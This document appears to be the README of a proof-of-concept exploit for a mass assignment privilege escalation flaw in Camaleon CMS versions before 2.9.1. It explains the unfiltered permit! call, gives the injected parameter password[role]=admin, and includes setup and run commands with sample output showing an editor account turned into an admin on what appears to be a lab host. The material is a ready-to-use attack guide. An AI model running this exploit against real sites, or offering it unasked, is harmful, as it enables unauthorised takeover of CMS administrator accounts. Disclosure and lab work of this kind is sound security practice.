
Proof-of-concept exploit for a mass assignment privilege escalation vulnerability in Camaleon CMS < 2.9.1. Authenticated low-privilege users can escalate to admin by injecting role parameters.
Privilege escalation vulnerability in Camaleon CMS < 2.9.1. The
updated_ajaxendpoint inUsersControllercallsparams.require(:password).permit!without filtering, allowing any parameter to be mass-assigned. An authenticated low-privilege user can escalate to admin by injectingpassword[role]=adminalongside a password change request.
/admin/users/<id>/updated_ajax with password[role]=admin injected into the password parameters.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4
python3 exploit.py http://TARGET -u USER -p PASS
Example:
$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.